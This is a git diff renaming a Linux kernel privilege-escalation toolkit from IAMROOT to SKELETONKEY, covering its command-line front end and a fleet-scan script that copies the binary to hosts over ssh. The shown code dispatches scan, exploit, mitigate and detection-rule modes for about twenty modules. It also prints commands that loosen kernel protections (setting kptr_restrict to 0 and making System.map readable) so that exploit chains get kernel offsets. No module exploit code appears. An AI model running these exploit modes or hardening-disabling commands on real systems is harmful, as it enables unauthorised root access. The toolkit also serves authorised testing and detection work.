╚═════╝ ╚═════╝ ╚═╝ \n" -" Curated Linux kernel LPE corpus — v" IAMROOT_VERSION "\n" +" ╔══╤══╗\n" +" ║ ● ║═══════════════════════════════════════════════════--,\n" +" ╚═════╝ `--,_\n" +" `_/\n" +"\n" +" ███████╗██╗ ██╗███████╗██╗ ███████╗████████╗ ██████╗ ███╗ ██╗██╗ ██╗███████╗██╗ ██╗\n" +" ██╔════╝██║ ██╔╝██╔════╝██║ ██╔════╝╚══██╔══╝██╔═══██╗████╗ ██║██║ ██╔╝██╔════╝╚██╗ ██╔╝\n" +" ███████╗█████╔╝ █████╗ ██║ █████╗ ██║ ██║ ██║██╔██╗ ██║█████╔╝ █████╗ ╚████╔╝ \n" +" ╚════██║██╔═██╗ ██╔══╝ ██║ ██╔══╝ ██║ ██║ ██║██║╚██╗██║██╔═██╗ ██╔══╝ ╚██╔╝ \n" +" ███████║██║ ██╗███████╗███████╗███████╗ ██║ ╚██████╔╝██║ ╚████║██║ ██╗███████╗ ██║ \n" +" ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝ ╚═╝ \n" +" Curated Linux kernel LPE corpus — v" SKELETONKEY_VERSION "\n" " AUTHORIZED TESTING ONLY — see docs/ETHICS.md\n"; static void usage(const char *prog) @@ -109,15 +114,15 @@ enum detect_format { FMT_FALCO, }; -static const char *result_str(iamroot_result_t r) +static const char *result_str(skeletonkey_result_t r) { switch (r) { - case IAMROOT_OK: return "OK"; - case IAMROOT_TEST_ERROR: return "ERROR"; - case IAMROOT_VULNERABLE: return "VULNERABLE"; - case IAMROOT_EXPLOIT_FAIL: return "EXPLOIT_FAIL"; - case IAMROOT_PRECOND_FAIL: return "PRECOND_FAIL"; - case IAMROOT_EXPLOIT_OK: return "EXPLOIT_OK"; + case SKELETONKEY_OK: return "OK"; + case SKELETONKEY_TEST_ERROR: return "ERROR"; + case SKELETONKEY_VULNERABLE: return "VULNERABLE"; + case SKELETONKEY_EXPLOIT_FAIL: return "EXPLOIT_FAIL"; + case SKELETONKEY_PRECOND_FAIL: return "PRECOND_FAIL"; + case SKELETONKEY_EXPLOIT_OK: return "EXPLOIT_OK"; } return "?"; } @@ -145,7 +150,7 @@ static char *json_escape(const char *s) return out; } -static void emit_module_json(const struct iamroot_module *m, bool include_rules) +static void emit_module_json(const struct skeletonkey_module *m, bool include_rules) { char *name = json_escape(m->name); char *cve = json_escape(m->cve); @@ -189,14 +194,14 @@ static void emit_module_json(const struct iamroot_module *m, bool include_rules) free(name); free(cve); free(summary); free(family); free(krange); } -static int cmd_list(const struct iamroot_ctx *ctx) +static int cmd_list(const struct skeletonkey_ctx *ctx) { - size_t n = iamroot_module_count(); + size_t n = skeletonkey_module_count(); if (ctx->json) { - fprintf(stdout, "{\"version\":\"%s\",\"modules\":[", IAMROOT_VERSION); + fprintf(stdout, "{\"version\":\"%s\",\"modules\":[", SKELETONKEY_VERSION); for (size_t i = 0; i < n; i++) { if (i) fputc(',', stdout); - emit_module_json(iamroot_module_at(i), false); + emit_module_json(skeletonkey_module_at(i), false); } fprintf(stdout, "]}\n"); return 0; @@ -206,7 +211,7 @@ static int cmd_list(const struct iamroot_ctx *ctx) fprintf(stdout, "%-20s %-18s %-25s %s\n", "----", "---", "------", "-------"); for (size_t i = 0; i < n; i++) { - const struct iamroot_module *m = iamroot_module_at(i); + const struct skeletonkey_module *m = skeletonkey_module_at(i); fprintf(stdout, "%-20s %-18s %-25s %s\n", m->name, m->cve, m->family, m->summary); } @@ -409,11 +414,11 @@ static int audit_sudo_nopasswd(int *count_out, bool json, return 0; } -static int cmd_audit(const struct iamroot_ctx *ctx) +static int cmd_audit(const struct skeletonkey_ctx *ctx) { int n_setuid = 0, n_ww = 0, n_cap = 0, n_sudo = 0; if (ctx->json) { - fprintf(stdout, "{\"version\":\"%s\",\"audit\":[", IAMROOT_VERSION); + fprintf(stdout, "{\"version\":\"%s\",\"audit\":[", SKELETONKEY_VERSION); bool first = false; audit_setuid(&n_setuid, true, &first); audit_world_writable(&n_ww, true, &first); @@ -442,11 +447,11 @@ static int cmd_audit(const struct iamroot_ctx *ctx) * core/offsets.c. Operators run this once on a kernel they have root on * (or kptr_restrict=0), then upstream the entry so --full-chain works * out-of-the-box on that build for everyone. */ -static int cmd_dump_offsets(const struct iamroot_ctx *ctx) +static int cmd_dump_offsets(const struct skeletonkey_ctx *ctx) { (void)ctx; - struct iamroot_kernel_offsets off; - int n = iamroot_offsets_resolve(&off); + struct skeletonkey_kernel_offsets off; + int n = skeletonkey_offsets_resolve(&off); if (off.kbase == 0) { fprintf(stderr, @@ -456,9 +461,9 @@ static int cmd_dump_offsets(const struct iamroot_ctx *ctx) " enforcing). /boot/System.map-%s wasn't readable either.\n" "\n" " Try one of:\n" -" sudo iamroot --dump-offsets\n" -" sudo sysctl kernel.kptr_restrict=0; iamroot --dump-offsets\n" -" sudo chmod 0644 /boot/System.map-$(uname -r); iamroot --dump-offsets\n", +" sudo skeletonkey --dump-offsets\n" +" sudo sysctl kernel.kptr_restrict=0; skeletonkey --dump-offsets\n" +" sudo chmod 0644 /boot/System.map-$(uname -r); skeletonkey --dump-offsets\n", off.kernel_release[0] ? off.kernel_release : "$(uname -r)"); return 1; } @@ -475,7 +480,7 @@ static int cmd_dump_offsets(const struct iamroot_ctx *ctx) struct tm tm; localtime_r(&now, &tm); fprintf(stdout, -"/* Generated %04d-%02d-%02d by `iamroot --dump-offsets`.\n" +"/* Generated %04d-%02d-%02d by `skeletonkey --dump-offsets`.\n" " * Host kernel: %s%s%s\n" " * Resolved fields: modprobe_path=%s init_task=%s cred=%s\n" " * Paste this entry into kernel_table[] in core/offsets.c.\n" @@ -484,9 +489,9 @@ static int cmd_dump_offsets(const struct iamroot_ctx *ctx) off.kernel_release, off.distro[0] ? " distro=" : "", off.distro[0] ? off.distro : "", - iamroot_offset_source_name(off.source_modprobe), - iamroot_offset_source_name(off.source_init_task), - iamroot_offset_source_name(off.source_cred)); + skeletonkey_offset_source_name(off.source_modprobe), + skeletonkey_offset_source_name(off.source_init_task), + skeletonkey_offset_source_name(off.source_cred)); fprintf(stdout, "{ .release_glob = \"%s\",\n", off.kernel_release); @@ -530,16 +535,16 @@ static int cmd_dump_offsets(const struct iamroot_ctx *ctx) fprintf(stderr, "\n[+] dumped %d resolved fields. Verify offsets, then upstream this\n" -" entry via a PR to https://github.com/KaraZajac/IAMROOT.\n", n); +" entry via a PR to https://github.com/KaraZajac/SKELETONKEY.\n", n); return 0; } /* --module-info : dump everything we know about one module. * Human-readable by default, JSON with --json. Includes the full * detection-rule text bodies for that module. */ -static int cmd_module_info(const char *name, const struct iamroot_ctx *ctx) +static int cmd_module_info(const char *name, const struct skeletonkey_ctx *ctx) { - const struct iamroot_module *m = iamroot_module_find(name); + const struct skeletonkey_module *m = skeletonkey_module_find(name); if (!m) { if (ctx->json) { fprintf(stdout, "{\"error\":\"module not found\",\"name\":\"%s\"}\n", name); @@ -577,19 +582,19 @@ static int cmd_module_info(const char *name, const struct iamroot_ctx *ctx) return 0; } -static int cmd_scan(const struct iamroot_ctx *ctx) +static int cmd_scan(const struct skeletonkey_ctx *ctx) { int worst = 0; - size_t n = iamroot_module_count(); + size_t n = skeletonkey_module_count(); if (!ctx->json) { - fprintf(stderr, "[*] iamroot scan: %zu module(s) registered\n", n); + fprintf(stderr, "[*] skeletonkey scan: %zu module(s) registered\n", n); } else { - fprintf(stdout, "{\"version\":\"%s\",\"modules\":[", IAMROOT_VERSION); + fprintf(stdout, "{\"version\":\"%s\",\"modules\":[", SKELETONKEY_VERSION); } for (size_t i = 0; i < n; i++) { - const struct iamroot_module *m = iamroot_module_at(i); + const struct skeletonkey_module *m = skeletonkey_module_at(i); if (m->detect == NULL) continue; - iamroot_result_t r = m->detect(ctx); + skeletonkey_result_t r = m->detect(ctx); if (ctx->json) { fprintf(stdout, "%s{\"name\":\"%s\",\"cve\":\"%s\",\"result\":\"%s\"}", (i == 0 ? "" : ","), m->name, m->cve, result_str(r)); @@ -618,8 +623,8 @@ static int cmd_detect_rules(enum detect_format fmt) [FMT_YARA] = "yara", [FMT_FALCO] = "falco", }; - size_t n = iamroot_module_count(); - fprintf(stdout, "# IAMROOT detection rules — format: %s\n", fmt_names[fmt]); + size_t n = skeletonkey_module_count(); + fprintf(stdout, "# SKELETONKEY detection rules — format: %s\n", fmt_names[fmt]); fprintf(stdout, "# Generated from %zu registered modules\n", n); fprintf(stdout, "# AUTHORIZED-TESTING tool; see docs/ETHICS.md\n\n"); /* Dedup by pointer: family-shared rule strings (e.g. all 5 @@ -629,7 +634,7 @@ static int cmd_detect_rules(enum detect_format fmt) size_t n_seen = 0; int emitted = 0; for (size_t i = 0; i < n; i++) { - const struct iamroot_module *m = iamroot_module_at(i); + const struct skeletonkey_module *m = skeletonkey_module_at(i); const char *rules = NULL; switch (fmt) { case FMT_AUDITD: rules = m->detect_auditd; break; @@ -659,10 +664,10 @@ static int cmd_detect_rules(enum detect_format fmt) return 0; } -static int cmd_one(const struct iamroot_module *m, const char *op, - const struct iamroot_ctx *ctx) +static int cmd_one(const struct skeletonkey_module *m, const char *op, + const struct skeletonkey_ctx *ctx) { - iamroot_result_t (*fn)(const struct iamroot_ctx *) = NULL; + skeletonkey_result_t (*fn)(const struct skeletonkey_ctx *) = NULL; if (strcmp(op, "exploit") == 0) fn = m->exploit; else if (strcmp(op, "mitigate") == 0) fn = m->mitigate; else if (strcmp(op, "cleanup") == 0) fn = m->cleanup; @@ -671,7 +676,7 @@ static int cmd_one(const struct iamroot_module *m, const char *op, fprintf(stderr, "[-] module '%s' has no %s operation\n", m->name, op); return 1; } - iamroot_result_t r = fn(ctx); + skeletonkey_result_t r = fn(ctx); fprintf(stderr, "[*] %s --%s result: %s\n", m->name, op, result_str(r)); return (int)r; } @@ -680,29 +685,29 @@ int main(int argc, char **argv) { /* Bring up the module registry. As new families land, add their * register_* call here. */ - iamroot_register_copy_fail_family(); - iamroot_register_dirty_pipe(); - iamroot_register_entrybleed(); - iamroot_register_pwnkit(); - iamroot_register_nf_tables(); - iamroot_register_overlayfs(); - iamroot_register_cls_route4(); - iamroot_register_dirty_cow(); - iamroot_register_ptrace_traceme(); - iamroot_register_netfilter_xtcompat(); - iamroot_register_af_packet(); - iamroot_register_fuse_legacy(); - iamroot_register_stackrot(); - iamroot_register_af_packet2(); - iamroot_register_cgroup_release_agent(); - iamroot_register_overlayfs_setuid(); - iamroot_register_nft_set_uaf(); - iamroot_register_af_unix_gc(); - iamroot_register_nft_fwd_dup(); - iamroot_register_nft_payload(); + skeletonkey_register_copy_fail_family(); + skeletonkey_register_dirty_pipe(); + skeletonkey_register_entrybleed(); + skeletonkey_register_pwnkit(); + skeletonkey_register_nf_tables(); + skeletonkey_register_overlayfs(); + skeletonkey_register_cls_route4(); + skeletonkey_register_dirty_cow(); + skeletonkey_register_ptrace_traceme(); + skeletonkey_register_netfilter_xtcompat(); + skeletonkey_register_af_packet(); + skeletonkey_register_fuse_legacy(); + skeletonkey_register_stackrot(); + skeletonkey_register_af_packet2(); + skeletonkey_register_cgroup_release_agent(); + skeletonkey_register_overlayfs_setuid(); + skeletonkey_register_nft_set_uaf(); + skeletonkey_register_af_unix_gc(); + skeletonkey_register_nft_fwd_dup(); + skeletonkey_register_nft_payload(); enum mode mode = MODE_SCAN; - struct iamroot_ctx ctx = {0}; + struct skeletonkey_ctx ctx = {0}; const char *target = NULL; int i_know = 0; @@ -754,7 +759,7 @@ int main(int argc, char **argv) else if (strcmp(optarg, "falco") == 0) dr_fmt = FMT_FALCO; else { fprintf(stderr, "[-] unknown --format: %s\n", optarg); return 1; } break; - case 'V': printf("iamroot %s\n", IAMROOT_VERSION); return 0; + case 'V': printf("skeletonkey %s\n", SKELETONKEY_VERSION); return 0; case 'h': mode = MODE_HELP; break; default: usage(argv[0]); return 1; } @@ -780,7 +785,7 @@ int main(int argc, char **argv) fprintf(stderr, "[-] mode requires a module name\n"); return 1; } - const struct iamroot_module *m = iamroot_module_find(target); + const struct skeletonkey_module *m = skeletonkey_module_find(target); if (m == NULL) { fprintf(stderr, "[-] no module '%s'. Try --list.\n", target); return 1; diff --git a/tools/iamroot-fleet-scan.sh b/tools/skeletonkey-fleet-scan.sh similarity index 89% rename from tools/iamroot-fleet-scan.sh rename to tools/skeletonkey-fleet-scan.sh index 35b4d28..5fe98e9 100755 --- a/tools/iamroot-fleet-scan.sh +++ b/tools/skeletonkey-fleet-scan.sh @@ -1,10 +1,10 @@ #!/usr/bin/env bash -# iamroot-fleet-scan — scan a host list with iamroot, aggregate results +# skeletonkey-fleet-scan — scan a host list with skeletonkey, aggregate results # # Usage: -# iamroot-fleet-scan.sh [OPTIONS] hosts.txt -# iamroot-fleet-scan.sh [OPTIONS] - # hosts on stdin -# iamroot-fleet-scan.sh [OPTIONS] - # one host per line +# skeletonkey-fleet-scan.sh [OPTIONS] hosts.txt +# skeletonkey-fleet-scan.sh [OPTIONS] - # hosts on stdin +# skeletonkey-fleet-scan.sh [OPTIONS] - # one host per line # # Each line in the host list is either: # - a hostname/IP (uses default ssh user from your config) @@ -14,13 +14,13 @@ # Output: combined JSON to stdout, one object per host: # { "generated_at": "...", "summary": {...}, # "hosts": [ { "host": "...", "ok": true, -# "scan": { /* iamroot --scan --json */ } }, ... ] } +# "scan": { /* skeletonkey --scan --json */ } }, ... ] } # # Options: -# --binary path to iamroot binary (default: ./iamroot) +# --binary path to skeletonkey binary (default: ./skeletonkey) # --ssh-key ssh key file (passed to scp and ssh) # --ssh-opts "..." extra ssh options (e.g. "-o ConnectTimeout=5") -# --remote-path

where to scp the binary (default: /tmp/iamroot) +# --remote-path

where to scp the binary (default: /tmp/skeletonkey) # --no-sudo don't prefix the remote command with sudo # --parallel run N hosts concurrently (default: 4) # --summary-only skip per-host detail in stdout; print summary only @@ -32,10 +32,10 @@ set -euo pipefail -BINARY="./iamroot" +BINARY="./skeletonkey" SSH_KEY="" SSH_OPTS="" -REMOTE_PATH="/tmp/iamroot" +REMOTE_PATH="/tmp/skeletonkey" USE_SUDO=1 PARALLEL=4 SUMMARY_ONLY=0 @@ -66,7 +66,7 @@ if [[ -z "$HOSTFILE" ]]; then fi if [[ ! -x "$BINARY" ]]; then - echo "error: iamroot binary not found / not executable: $BINARY" >&2 + echo "error: skeletonkey binary not found / not executable: $BINARY" >&2 exit 2 fi @@ -109,7 +109,7 @@ scan_one_host() { fi # 2. run --scan --json - # iamroot's exit codes are SEMANTIC (0=OK, 2=VULNERABLE, 4=PRECOND_FAIL, etc.) + # skeletonkey's exit codes are SEMANTIC (0=OK, 2=VULNERABLE, 4=PRECOND_FAIL, etc.) # — nonzero is NOT a failure here. Treat ANY stdout JSON as success; # only ssh-transport-level failures (key denied, network) are real # failures, and those manifest as empty stdout + nonzero exit. @@ -133,7 +133,7 @@ scan_one_host() { # 4. emit one combined JSON object if ! echo "$scan_out" | jq --arg h "$hostspec" \ '{host: $h, ok: true, scan: .}' 2>/dev/null; then - echo "{\"host\":\"${hostspec}\",\"ok\":false,\"error\":\"invalid JSON from iamroot\"}" + echo "{\"host\":\"${hostspec}\",\"ok\":false,\"error\":\"invalid JSON from skeletonkey\"}" return 1 fi }